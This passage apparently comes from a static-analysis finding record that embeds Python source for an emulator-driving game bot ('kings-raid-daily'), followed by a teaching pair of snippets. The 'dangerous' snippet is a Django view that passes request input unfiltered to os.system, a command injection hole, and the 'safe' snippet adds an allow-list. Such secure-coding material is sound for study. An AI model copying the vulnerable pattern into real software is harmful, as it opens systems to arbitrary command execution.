   if shortcut == 'loop':\n            self.shop_ = True\n            return 'not'\n        logging.info(device.serial+': loaded from mission shortcut')\n\n        # open shop\n        self.make_sure_loaded('./base/shop/shop.png', device, data['shop']['2']['dms'], data['shop']['2']['shell'])\n        logging.info(device.serial+': opened shop')\n\n        # click a random item in shop\n        lst = data['shop']['3-0']['shell']\n        r = choice(lst)\n        device.shell(data['shop']['3-1']['shell']+str(r[0])+' '+str(r[1]))\n        logging.info(device.serial+': clicked a random stuff')\n        self.make_sure_loaded('./base/shop/buy.png', device, data['shop']['3-2']['dms'], data['shop']['3-2']['shell']+str(r[0])+' '+str(r[1]), cutoff=1)\n        logging.info(device.serial+': clicked a random stuff second time')\n\n        # click buy item\n        self.make_sure_loaded('./base/shop/bought.png', device, data['shop']['4']['dms'], data['shop']['4']['shell'], shell_first=True, cutoff=3)\n        logging.info(device.serial+': bought stuff')\n\n        # click exit\n        self.make_sure_loaded('./base/shop/my_info.png', device, data['shop']['5']['dms'], data['shop']['5']['shell'], sleep_duration=0.5)\n        device.shell(data['shop']['6']['shell'])\n        logging.info(device.serial+': successfully bought stuffs in shop in inn mission')\n        self.shop_ = True\n        return 'success'\n\n\n    def stockage(self, device, position, data):\n        print(device.serial+': farming stuffs in stockage...')\n        logging.info(device.serial+': farming stuffs in stockage')\n\n        # click mission shortcut\n        shortcut = self.make_sure_loaded('./base/stockage/enter_dungeons.png', device, data['stockage']['1']['dms'], data['stockage']['1']['shell']+position, loop=20, cutoff=20, sleep_duration=10)\n        if shortcut == 'loop':\n            self.stockage_ = True\n            return 'not'\n        logging.info(device.serial+': loaded from mission shortcut')\n\n        # open stockage\n        self.make_sure_loaded('./base/stockage/stockage.png', device, data['stockage']['2']['dms'], data['stockage']['2']['shell'], cutoff=9, sleep_duration=0.5)\n        logging.info(device.serial+': opened stockage')\n\n        def check_team(device, data):\n            # slot 1\n            self.make_sure_loaded('./base/tower/party_4.png', device, data['tower']['7']['dms'], data['tower']['7']['shell'], sleep_duration=1, cutoff=20, oposite=True)\n            # slot 2\n            self.make_sure_loaded('./base/tower/party_3.png', device, data['tower']['8']['dms'], data['tower']['8']['shell'], sleep_duration=1, cutoff=20, oposite=True)\n            # slot 3\n            self.make_sure_loaded('./base/tower/party_2.png', device, data['tower']['9']['dms'], data['tower']['9']['shell'], sleep_duration=1, cutoff=20, oposite=True)\n            # slot 4\n            self.make_sure_loaded('./base/tower/party_1.png', device, data['tower']['10']['dms'], data['tower']['10']['shell'], sleep_duration=1, cutoff=20, oposite=True)\n\n        # fragment dungeons\n        self.make_sure_loaded('./base/stockage/fragment_d.png', device, data['stockage']['3']['dms'], data['stockage']['3']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked fragment dungeons')\n        # party\n        self.make_sure_loaded('./base/stockage/party.png', device, data['stockage']['4']['dms'], data['stockage']['4']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked to party setup')\n        # check avalible team\n        check_team(device, data)\n        # start battle\n        self.make_sure_loaded('./base/stockage/select_battle.png', device, data['stockage']['5']['dms'], data['stockage']['5']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked start battle')\n        # auto repeat\n        self.make_sure_loaded('./base/stockage/notice.png', device, data['stockage']['6']['dms'], data['stockage']['6']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked auto repeat')\n        # select reward\n        self.make_sure_loaded('./base/stockage/fragment_select_reward.png', device, data['stockage']['7']['dms'], data['stockage']['7']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked to select reward')\n        # click random reward\n        lst = data['stockage']['8-0']['shell']\n        r = choice(lst)\n        # self.make_sure_loaded('./base/stockage/ok.png', device, data['stockage']['8-1']['dms'], data['stockage']['8-1']['shell']+str(r[0])+' '+str(r[1]), shell_first=True, sleep_duration=0.5)\n        # logging.info(device.serial+': selected random reward')\n        # click ok\n        self.make_sure_loaded('./base/stockage/loading_r.png', device, data['stockage']['9']['dms'], data['stockage']['9']['shell'], cutoff=10, loop=15, sleep_duration=0.5, second_shell=data['stockage']['8-1']['shell']+str(r[0])+' '+str(r[1]))\n        logging.info(device.serial+': selected random reward and clicked ok to enter battle')\n        slp(5)\n        # wait until finish\n        self.make_sure_loaded('./base/stockage/end.png', device, data['stockage']['10']['dms'], data['stockage']['10']['shell'], sleep_duration=15)\n        logging.info(device.serial+': battle completed')\n        # click exit\n        self.make_sure_loaded('./base/stockage/loading.png', device, data['stockage']['11']['dms'], data['stockage']['11']['shell'])\n        logging.info(device.serial+': exited from fragment dungeons')\n\n\n        # skill book dungeon\n        self.make_sure_loaded('./base/stockage/skill_book_d.png', device, data['stockage']['12']['dms'], data['stockage']['12']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked skill book dungeons')\n        # party\n        self.make_sure_loaded('./base/stockage/party.png', device, data['stockage']['13']['dms'], data['stockage']['13']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked to party setup')\n        # check avalible team\n        check_team(device, data)\n        # start battle\n        self.make_sure_loaded('./base/stockage/select_battle.png', device, data['stockage']['14']['dms'], data['stockage']['14']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked start battle')\n        # auto repeat\n        self.make_sure_loaded('./base/stockage/notice.png', device, data['stockage']['15']['dms'], data['stockage']['15']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked auto repeat')\n        # select reward\n        self.make_sure_loaded('./base/stockage/exp_select_reward.png', device, data['stockage']['16']['dms'], data['stockage']['16']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked to select reward')\n        # click random type of book\n        lst = data['stockage']['17-0']['shell']\n        r = choice(lst)\n        device.shell(data['stockage']['17-1']['shell']+str(r[0])+' '+str(r[1]))\n        logging.info(device.serial+': selected random book type')\n        # click random book\n        lst = data['stockage']['18-0']['shell']\n        r = choice(lst)\n        # self.make_sure_loaded('./base/stockage/ok_.png', device, data['stockage']['18-1']['dms'], data['stockage']['18-1']['shell']+str(r[0])+' '+str(r[1]), shell_first=True, sleep_duration=0.5)\n        # logging.info(device.serial+': selected random book reward')\n        # click ok\n        self.make_sure_loaded('./base/stockage/loading_r.png', device, data['stockage']['19']['dms'], data['stockage']['19']['shell'], cutoff=10, loop=15, sleep_duration=0.5, second_shell=data['stockage']['18-1']['shell']+str(r[0])+' '+str(r[1]))\n        logging.info(device.serial+': selected random book reward and clicked ok to enter battle')\n        slp(5)\n        # wait until finish\n        self.make_sure_loaded('./base/stockage/end.png', device, data['stockage']['20']['dms'], data['stockage']['20']['shell'], sleep_duration=15)\n        logging.info(device.serial+': battle completed')\n        # click exit\n        self.make_sure_loaded('./base/stockage/loading.png', device, data['stockage']['21']['dms'], data['stockage']['21']['shell'])\n        logging.info(device.serial+': exited from skill book dungeons')\n\n\n        # exp dungeon\n        self.make_sure_loaded('./base/stockage/exp_d.png', device, data['stockage']['22']['dms'], data['stockage']['22']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked exp dungeons')\n        # party\n        self.make_sure_loaded('./base/stockage/party.png', device, data['stockage']['23']['dms'], data['stockage']['23']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked to party setup')\n        # check avalible team\n        check_team(device, data)\n        # start battle\n        self.make_sure_loaded('./base/stockage/select_battle.png', device, data['stockage']['24']['dms'], data['stockage']['24']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked start battle')\n        # auto repeat\n        self.make_sure_loaded('./base/stockage/notice.png', device, data['stockage']['25']['dms'], data['stockage']['25']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked auto repeat')\n        # click ok\n        self.make_sure_loaded('./base/stockage/loading_r.png', device, data['stockage']['26']['dms'], data['stockage']['26']['shell'], loop=10, sleep_duration=0.5)\n        logging.info(device.serial+': clicked ok to enter battle')\n        slp(5)\n        # wait until finish\n        self.make_sure_loaded('./base/stockage/end.png', device, data['stockage']['27']['dms'], data['stockage']['27']['shell'], sleep_duration=15)\n        logging.info(device.serial+': battle completed')\n        # click exit\n        self.make_sure_loaded('./base/stockage/loading.png', device, data['stockage']['28']['dms'], data['stockage']['28']['shell'])\n        logging.info(device.serial+': exited from exp dungeons')\n\n\n        # gold dungeon\n        self.make_sure_loaded('./base/stockage/gold_d.png', device, data['stockage']['29']['dms'], data['stockage']['29']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked exp dungeons')\n        # party\n        self.make_sure_loaded('./base/stockage/party.png', device, data['stockage']['30']['dms'], data['stockage']['30']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked to party setup')\n        # check avalible team\n        check_team(device, data)\n        # start battle\n        self.make_sure_loaded('./base/stockage/select_battle.png', device, data['stockage']['31']['dms'], data['stockage']['31']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked start battle')\n        # auto repeat\n        self.make_sure_loaded('./base/stockage/notice.png', device, data['stockage']['32']['dms'], data['stockage']['32']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked auto repeat')\n        # click ok\n        self.make_sure_loaded('./base/stockage/loading_r.png', device, data['stockage']['33']['dms'], data['stockage']['33']['shell'], loop=10, sleep_duration=0.5)\n        logging.info(device.serial+': clicked ok to enter battle')\n        slp(5)\n        # wait until finish\n        self.make_sure_loaded('./base/stockage/end.png', device, data['stockage']['34']['dms'], data['stockage']['34']['shell'], sleep_duration=15)\n        logging.info(device.serial+': battle completed')\n        # click exit\n        self.make_sure_loaded('./base/stockage/loading.png', device, data['stockage']['35']['dms'], data['stockage']['35']['shell'])\n        logging.info(device.serial+': exited from gold dungeons')\n\n\n        # click exit\n        self.make_sure_loaded('./base/stockage/my_info.png', device, data['stockage']['36']['dms'], data['stockage']['36']['shell'], sleep_duration=0.5)\n        device.shell(data['stockage']['37']['shell'])\n        logging.info(device.serial+': successfully did stockage mission')\n        self.stockage_ = True\n        return 'success'\n\n\n    def tower(self, device, position, data, lang):\n        print(device.serial+': battling in tower...')\n        logging.info(device.serial+': battling in tower')\n\n        # click mission shortcut\n        shortcut = self.make_sure_loaded('./base/tower/tower.png', device, data['tower']['1']['dms'], data['tower']['1']['shell']+position, loop=20, cutoff=20, sleep_duration=10)\n        if shortcut == 'loop':\n            self.tower_ = True\n            return 'not'\n        logging.info(device.serial+': loaded from mission shortcut')\n\n        # click tower of challenge\n        self.make_sure_loaded('./base/tower/toc.png', device, data['tower']['2']['dms'], data['tower']['2']['shell'], sleep_duration=1)\n        logging.info(device.serial+': clicked toc')\n\n        # change to floor 1\n        with open('./languages.json', encoding='utf-8') as j:\n            floor = json.load(j)[lang]['tower']\n        while True:\n            im, device = self.update_cache(device)\n            pil_image = crop(im, data['tower']['3']['dms'])\n            img = filter(pil_image)\n            text = image_to_string(img, lang).replace('♀', '')\n            if lang == 'jpn':\n                text = text.replace(' ', '')\n            text = text.splitlines()[0].lower().replace(' ','')\n            if SequenceMatcher(None, text, floor).ratio() > 0.9:\n                device.shell(data['tower']['5']['shell'])\n                break\n            else:\n                device.shell(data['tower']['4']['shell'])\n            slp(1)\n        logging.info(device.serial+': changed floor level to 1')\n\n        # click ready for battle\n        self.make_sure_loaded('./base/tower/party.png', device, data['tower']['6']['dms'], data['tower']['6']['shell'])\n        logging.info(device.serial+': clicked ready for battle')\n\n        # check avalible team\n        # slot 1\n        self.make_sure_loaded('./base/tower/party_4.png', device, data['tower']['7']['dms'], data['tower']['7']['shell'], sleep_duration=1, cutoff=20, oposite=True)\n        # slot 2\n        self.make_sure_loaded('./base/tower/party_3.png', device, data['tower']['8']['dms'], data['tower']['8']['shell'], sleep_duration=1, cutoff=20, oposite=True)\n        # slot 3\n        self.make_sure_loaded('./base/tower/party_2.png', device, data['tower']['9']['dms'], data['tower']['9']['shell'], sleep_duration=1, cutoff=20, oposite=True)\n        # slot 4\n        self.make_sure_loaded('./base/tower/party_1.png', device, data['tower']['10']['dms'], data['tower']['10']['shell'], sleep_duration=1, cutoff=20, oposite=True)\n        logging.info(device.serial+': checked all avalible slots')\n\n        # click start battle to open select battle board\n        self.make_sure_loaded('./base/tower/select_battle.png', device, data['tower']['11']['dms'], data['tower']['11']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked start battle and opened select battle board')\n\n        # click start battle\n        self.make_sure_loaded('./base/tower/end.png', device, data['tower']['12']['dms'], data['tower']['12']['shell'], sleep_duration=0.5, cutoff=10)\n        logging.info(device.serial+': clicked start battle')\n\n        # click exit battle\n        self.make_sure_loaded('./base/tower/toc.png', device, data['tower']['2']['dms'], data['tower']['13']['shell'])\n        logging.info(device.serial+': exited battle')\n\n        # click exit\n        self.make_sure_loaded('./base/tower/my_info.png', device, data['tower']['14']['dms'], data['tower']['14']['shell'], sleep_duration=0.5)\n        device.shell(data['tower']['15']['shell'])\n        logging.info(device.serial+': successfully did toc mission')\n        self.tower_ = True\n        return 'success'\n\n\n    def wb(self, device, position, data):\n        print(device.serial+': battling world boss...')\n        logging.info(device.serial+': battling world boss')\n\n        # click mission shortcut\n        shortcut = self.make_sure_loaded('./base/wb/wb.png', device, data['wb']['1']['dms'], data['wb']['1']['shell']+position, loop=20, cutoff=20, sleep_duration=10)\n        if shortcut == 'loop':\n            self.wb_ = True\n            return 'not'\n        logging.info(device.serial+': loaded from mission shortcut')\n\n        # click get ready for battle\n        close = self.make_sure_loaded('./base/wb/party.png', device, data['wb']['2']['dms'], data['wb']['2']['shell'], sleep_duration=2, cutoff=20, loop=20)\n        # wb close\n        if close == 'loop':\n            self.wb_ = True\n            # click exit\n            self.make_sure_loaded('./base/wb/my_info.png', device, data['wb']['8']['dms'], data['wb']['8']['shell'], sleep_duration=0.5)\n            device.shell(data['wb']['9']['shell'])\n            return 'success'\n        logging.info(device.serial+': loaded from get ready for battle')\n\n        # check avalible team\n        self.make_sure_loaded('./base/wb/a_party.png', device, data['wb']['3']['dms'], data['wb']['3']['shell'], cutoff=20, oposite=True, sleep_duration=0.5)\n        logging.info(device.serial+': checked avalible party')\n\n        # click set sub team\n        self.make_sure_loaded('./base/wb/sub_party.png', device, data['wb']['4']['dms'], data['wb']['4']['shell'], sleep_duration=0.5, cutoff=2)\n        logging.info(device.serial+': clicked set up sub team')\n\n        # click start battle\n        self.make_sure_loaded('./base/wb/loading.png', device, data['wb']['5']['dms'], data['wb']['5']['shell'], cutoff=10, \\\n            sleep_duration=0.5, second_shell=data['wb']['5']['second_shell'], loop=10)\n        logging.info(device.serial+': clicked start battle')\n\n        # wait until finish\n        self.make_sure_loaded('./base/wb/end.png', device, data['wb']['6']['dms'], sleep_duration=15, cutoff=20)\n        logging.info(device.serial+': battle completed')\n\n        # click exit battle\n        self.make_sure_loaded('./base/wb/wb.png', device, data['wb']['7']['dms'], data['wb']['7']['shell'])\n        logging.info(device.serial+': exited battle')\n        \n        # click exit\n        self.make_sure_loaded('./base/wb/my_info.png', device, data['wb']['8']['dms'], data['wb']['8']['shell'], sleep_duration=0.5)\n        device.shell(data['wb']['9']['shell'])\n        logging.info(device.serial+': successfully did world boss mission')\n        self.wb_ = True\n        return 'success'\n\n\n    def lil(self, device, position, data, res):\n        print(device.serial+': feeding lil raider...')\n        logging.info(device.serial+': feeding lil raider')\n\n        # click mission shortcut\n        shortcut = self.make_sure_loaded('./base/lil/lil.png', device, data['lil']['1']['dms'], data['lil']['1']['shell']+position, cutoff=20, loop=20, sleep_duration=10)\n        if shortcut == 'loop':\n            self.lil_ = True\n            return 'not'\n        logging.info(device.serial+': loaded from mission shortcut')\n\n        # click treats\n        self.make_sure_loaded('./base/lil/treats.png', device, data['lil']['2']['dms'], data['lil']['2']['shell'], cutoff=10, sleep_duration=0.5)\n        logging.info(device.serial+': clicked treats')\n        # click feed first lil raider\n        self.make_sure_loaded('./base/lil/feeded.png', device, data['lil']['3']['dms'], data['lil']['3']['shell'], second_shell=data['lil']['4']['shell'], shell_first=True, cutoff=20, sleep_duration=0.5)\n        logging.info(device.serial+': clicked feed')\n        # click exit feeding\n        self.make_sure_loaded('./base/lil/lil.png', device, data['lil']['5']['dms'], data['lil']['5']['shell'], cutoff=10, sleep_duration=0.5)\n        logging.info(device.serial+': exit treats')\n\n        # click exit\n        self.make_sure_loaded('./base/lil/my_info.png', device, data['lil']['6']['dms'], data['lil']['6']['shell'], sleep_duration=0.5)\n        device.shell(data['lil']['7']['shell'])\n        logging.info(device.serial+': successfully did lil raider mission')\n        self.lil_ = True\n        return 'success'\n\n    def weekly(self, device, data):\n        logging.info(device.serial+': claiming weekly rewards')\n    \n        def claim():\n            # claim rewards\n            count = 0\n            while True:\n                if count == 9:\n                    break\n                device.shell(data['claim'][0])\n                device.shell(data['claim'][1])\n                count+=1\n\n        # change to weekly mission board\n        self.make_sure_loaded('./base/other/daily.png', device, data['daily']['dms'], data['daily']['third_shell'], shell_first=True, sleep_duration=0.5, cutoff=8, loop=20)\n        claim()\n\n    def mails(self, device, data):\n        print(device.serial+': mails is enabled, claiming all mails...')\n        logging.info(device.serial+': claiming mails')\n\n        # exit from mission board\n        self.make_sure_loaded('./base/mails/my_info.png', device, data['mails']['1']['dms'], data['mails']['1']['shell'], sleep_duration=0.5)\n        device.shell(data['mails']['2']['shell'])\n        logging.info(device.serial+': exit to main screen (1)')\n\n        # click mailbox\n        self.make_sure_loaded('./base/mails/mailbox.png', device, data['mails']['3']['dms'], data['mails']['3']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked mailbox')\n\n        # click claim all\n        self.make_sure_loaded('./base/mails/claim_all.png', device, data['mails']['4']['dms'], data['mails']['4']['shell'], sleep_duration=0.5)\n        logging.info(device.serial+': clicked claim all')\n\n        # exit to main screen\n        self.make_sure_loaded('./base/mails/my_info.png', device, data['mails']['1']['dms'], data['mails']['1']['shell'], sleep_duration=0.5)\n        device.shell(data['mails']['2']['shell'])\n        logging.info(device.serial+': exit to main screen (2)')\n\n    \n    def loh(self, device, data, lang):\n        print(device.serial+': loh is enabled, suiciding in loh...')\n        logging.info(device.serial+': suiciding in loh')\n        \n        # exit from mission board\n        self.make_sure_loaded('./base/loh/my_info.png', device, data['loh']['1']['dms'], data['loh']['1']['shell'], sleep_duration=0.5)\n        device.shell(data['loh']['2']['shell'])\n        logging.info(device.serial+': exit to main screen')\n\n        # click portal\n        self.make_sure_loaded('./base/loh/portal.png', device, data['loh']['3']['dms'], data['loh']['3']['shell'], sleep_duration=1, ck_special_shop=False)\n        logging.info(device.serial+': clicked portal')\n\n        # click arena in portal\n        self.make_sure_loaded('./base/loh/arena.png', device, data['loh']['4']['dms'], data['loh']['4']['shell'], cutoff=15, sleep_duration=0.5, ck_special_shop=False)\n        logging.info(device.serial+': clicked arenas')\n\n        # click loh in arena\n        self.make_sure_loaded('./base/loh/notice.png', device, data['loh']['5']['dms'], data['loh']['5']['shell'], cutoff=20, sleep_duration=0.5, ck_special_shop=False)\n        logging.info(device.serial+': clicked loh')\n\n        # click ok in notice\n        self.make_sure_loaded('./base/loh/loh.png', device, data['loh']['6']['dms'], data['loh']['6']['shell'],\n            second_img='./base/loh/previous_result.png', third_img='./base/loh/rewards.png', sleep_duration=10, loop=10, ck_special_shop=False)\n        logging.info(device.serial+': clicked ok in notice')\n\n        # check\n        def check_keys(device):\n            while True:\n                try:\n                    device.shell(data['loh']['7']['second_shell'])\n                    slp(3)\n                    device.shell(data['loh']['7']['shell'])\n                    slp(5)\n                    im, device = self.update_cache(device)\n                    im = crop(im, data['loh']['7']['dms'])\n                    text = image_to_string(im, lang).lower().replace('♀', '')\n                    detect(text)\n                    if lang == 'jpn':\n                        text = text.replace(' ', '')\n                    with open('./languages.json', encoding='utf-8') as j:\n                        re = json.load(j)\n                    if SequenceMatcher(None, re[lang]['loh'], text).ratio() > 0.9:\n                        return 'not enough currency'\n                    return 'continue'\n                except:\n                    continue\n        re = check_keys(device)\n        if re == 'not enough currency':\n            return 'not enough currency'\n\n        # push script and continuosly execute\n        device.shell('rm /sdcard/loh_script.sh')\n        slp(5)\n        device.push(data['loh']['scripts']['sh'], '/sdcard/loh_script.sh')\n        start_time = tiime()\n        seconds = 4000\n        count = 0\n        slp(5)\n        device.shell(data['loh']['scripts']['confirm'])\n        while True:\n            current_time = tiime()\n            elapsed_time = current_time - start_time\n            if elapsed_time > seconds:\n                break\n\n            if count == 50:\n                re = check_keys(device)\n                if re == 'not enough currency':\n                    return 'not enough currency'\n                count = 0\n\n            device.shell(data['loh']['scripts']['get_ready'])\n            device.shell(data['loh']['scripts']['confirm'])\n            device.shell('sh /sdcard/loh_script.sh')\n            count+=1\n\n        logging.info(device.serial+': successfully suiciding in loh')\n        return 'success'\n\n\n    def extra_dailies(self, device):\n        pass\n\n\ndef load_devices():\n    working_dir = getcwd()\n    adb_dir = '\"'+working_dir+'\\\\adb\" '\n    run_(adb_dir+'kill-server')\n    adb = Client(host=\"127.0.0.1\", port=5037)\n    try:\n        devices = adb.devices()\n    except:\n        run_(adb_dir+'devices')\n        slp(5)\n        run_(adb_dir+'devices')\n        devices = adb.devices()\n    return devices, adb_dir, adb\n\n\ndef run():\n\n    with open('./config.json') as j:\n        re = json.load(j)\n    path = re['ldconsole'].replace('|', '\"')\n    quit_all = False\n    if re['quit_all'] == True:\n        quit_all = True\n        try:\n            run_(path+' quitall')\n        except FileNotFoundError:\n            text = \"path to LDPlayer is wrong, please config and try again\"\n            logging.info(text)\n            print(text)\n            input('press any key to exit...')\n            return\n\n    latest = get(\"https://api.github.com/repos/faber6/kings-raid-daily/releases/latest\")\n    with open('./sets.json') as t:\n        this = json.load(t)\n    if latest.json()[\"tag_name\"] != this['version']:\n        text = (f'\\nThere is a new version ({latest.json()[\"tag_name\"]}) of script on https://github.com/faber6/kings-raid-daily/releases'+\n            '\\nIf this version not working as expected, please update to a newer version\\n')\n        logging.info(text)\n        print(text)\n        def msg_box(this):\n            answ = ctypes.windll.user32.MessageBoxW(0,\n                text[1:].replace('\\n','\\n\\n')+'do you want to remind this later?',\n                f\"kings-raid-daily new version ({latest.json()['tag_name']})\", 4)\n            if answ == 6: # yes\n                this['remind'] = True\n            elif answ == 7: # no                \n                this['remind'] = False\n            with open('./sets.json', 'w') as w:\n                json.dump(this, w, indent=4)\n            return\n        msg_box_thread = Thread(target=msg_box, name='msg_box', args=(this,))\n        if this['remind'] == True:\n            msg_box_thread.start()\n        else:\n            if latest.json()[\"tag_name\"] != this['latest']:\n                this['latest'] = latest.json()[\"tag_name\"]\n                with open('./sets.json', 'w') as w:\n                    json.dump(this, w, indent=4)\n                msg_box_thread.start()\n\n    devices, adb_dir, adb = load_devices()\n    count = 0\n    while True:\n        if count == 49:\n            text = 'no device was found after 50 retries, script ended'\n            logging.info(text)\n            print(text)\n            break\n        if devices == []:\n            if re['devices'] != []:\n                if count == 4 or quit_all == True:\n                    if quit_all == True:\n                        text = 'quit all emulators, launching from config...'\n                        logging.info(text)\n                        print(text)\n                    else:\n                        text = 'no device was found after 5 retries, launching from config and retrying...'\n                        logging.info(text)\n                        print(text)\n                    break_ = False\n                    devices_dexist = 0\n                    if re['max_devices'] == 1:\n                        for device_ in re['devices']:\n                            try:\n                                re_ = run_(path+' launch --index '+str(device_), capture_output=True).stdout\n                                if str(re_)+'/' == \"\"\"b\"player don't exist!\"/\"\"\":\n                                    devices_dexist += 1\n                                    text = 'device with index '+str(device_)+\" doesn't exist\"\n                                    logging.info(text)\n                                    print(text)\n                                else:\n                                    text = 'launched device with index '+str(device_)\n                                    logging.info(text)\n                                    print(text)\n                                    print('waiting 30 secs for fully boot up')\n                                    slp(30)\n                                    while True:\n                                        devices, adb_dir, adb = load_devices()\n                                        if devices != []:\n                                            if len(devices) == 1:\n                                                for device in devices:\n                                                    if str(device.serial).startswith('127'):\n                                                        continue\n                                                    thread = Thread(target=Missions().run_execute, args=(device, device_,))\n                                                    text = 'executing on device '+device.serial\n                                                    logging.info(text)\n                                                    print(text)\n                                                    thread.start()\n                                                    start_time = tiime()\n                                                    seconds = 10800\n                                                    while True:\n                                                        current_time = tiime()\n                                                        elapsed_time = current_time - start_time\n                                                        if elapsed_time > seconds:\n                                                            break\n                                                        if thread.is_alive() == False:\n                                                            break\n                                            else:\n                                                text = \"'max_devices' set to 1 but 'adb devices' returns \"+str(len(devices))+' devices, retrying...'\n                                                logging.info(text)\n                                                print(text)\n                                                continue\n                                            break\n                                        slp(5)\n                                    break_ = True\n                            except FileNotFoundError:\n                                break_ = True\n                                text = \"path to LDPlayer is wrong, please config and try again\"\n                                logging.info(text)\n                                print(text)\n                                input('press any key to exit...')\n                                break\n                            if devices_dexist == len(re['devices']):\n                                text = \"all configured devices don't exit\"\n                                logging.info(text)\n                                print(text)\n                                input('press any key to exit...')\n                                break_ = True\n                                break\n                    else:\n                        running = 0\n                        _devices_ = {}\n                        for device_ in re['devices']:\n                            _devices_[device_] = False\n                        if len(_devices_) % 2 == 0:\n                            last_run = 0\n                        else:\n                            run_times = ceil(len(_devices_) / 2)\n                            last_run = len(_devices_) - run_times\n                        threads = []\n                        launched = []\n                        launched_ = []\n                        done = []\n                        devices_ = []\n                        _break_ = False\n                        i = 0\n                        while True:\n                            if len(done) == len(re['devices']):\n                                break_ = True\n                                _break_ = True\n                                break\n                            if running != 0:\n                                if running == re['max_devices'] or running == last_run:\n                                    slp(10)\n                                    for thread_ in threads:\n                                        if int(thread_.name) not in done:\n                                            start_time = tiime()\n                                            seconds = 10800\n                                            while True:\n                                                current_time = tiime()\n                                                elapsed_time = current_time - start_time\n                                                if elapsed_time > seconds:\n                                                    break\n                                                if thread_.is_alive() == False:\n                                                    break\n                                            done.append(int(thread_.name))\n                                    # for thread_ in threads:\n                                    #     if int(thread_.name) not in done:\n                                    #         thread_.join(9000)\n                                    #         done.append(int(thread_.name))\n                                    running = running - len(done)\n                            else:\n                                for device_ in _devices_:\n                                    if running == re['max_devices']:\n                                        break\n                                    elif _devices_[device_] == False:\n                                        try:\n                                            path = re['ldconsole'].replace('|', '\"')\n                                            re_ = run_(path+' launch --index '+str(device_), capture_output=True).stdout\n                                            if str(re_)+'/' == \"\"\"b\"player don't exist!\"/\"\"\":\n                                                devices_dexist += 1\n                                                text = 'device with index '+str(device_)+\" doesn't exist\"\n                                                logging.info(text)\n                                                print(text)\n                                            else:\n                                                text = 'launched device with index '+str(device_)\n                                                logging.info(text) \n                                                print(text)\n                                                launched.append(int(device_))\n                                                running += 1\n                                                _devices_[device_] = True\n                                        except FileNotFoundError:\n                                            break_ = True\n                                            _break_ = True\n                                            text = \"path to LDPlayer is wrong, please config and try again\"\n                                            logging.info(text)\n                                            print(text)\n                                            input('press any key to exit...')\n                                            break\n                                        if devices_dexist == len(re['devices']):\n                                            text = \"all configured device(s) don't exit\"\n                                            logging.info(text)\n                                            print(text)\n                                            input('press any key to exit...')\n                                            break_ = True\n                                            _break_ = True\n                                            break\n                                print('waiting 30 secs for fully boot up')\n                                slp(30)\n                                while True:\n                                    devices, adb_dir, adb = load_devices()\n                                    if devices != []:\n                                        if len(devices) == running:\n                                            pass\n                                        else:\n                                            text = \"'max_devices' set to \"+str(re['max_devices'])+\" but 'adb devices' returns \"+str(len(devices))+' devices, retrying...'\n                                            logging.info(text)\n                                            print(text)\n                                            continue\n                                        for device in devices:\n                                            if str(device.serial).startswith('127'):\n                                                continue\n                                            if device not in devices_:\n                                                devices_.append(device)\n                                        while True:\n                                            try:\n                                                device = devices_[i]\n                                                device_ = launched[i]\n                                            except:\n                                                break\n                                            if str(device.serial).startswith('127'):\n                                                continue\n                                            if int(device_) not in launched_:\n                                                thread = Thread(target=Missions().run_execute, name=str(device_), args=(device,device_,))\n                                                threads.append(thread)\n                                                launched_.append(int(device_))\n                                                text = 'executing on device '+device.serial\n                                                logging.info(text)\n                                                print(text)\n                                                thread.start()\n                                                i+=1\n                                        break\n                                    slp(5)\n                            if _break_ == True:\n                                break\n                    if break_ == True:\n                        break\n            print('no device was found, retrying...')\n            run_(adb_dir+'devices')\n            devices = adb.devices()\n        elif str(devices[0].serial).startswith('127'):\n            print('no device was found, retrying...')\n            devices, adb_dir, adb = load_devices()\n        else:\n            slp(10)\n            run_(adb_dir+'devices')\n            devices = adb.devices()\n            print('device(s) detected')\n            for device in devices:\n                thread = Thread(target=Missions().run_execute, args=(device,))\n                text = 'executing on device '+device.serial\n                logging.info(text)\n                print(text)\n                thread.start()\n            break\n        slp(5)\n        count+=1", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 1327, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 1328, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 1329, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "rerun.re[\"ldconsole\"]"}}, {"lineNo": 1329, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "replace"}}, {"lineNo": 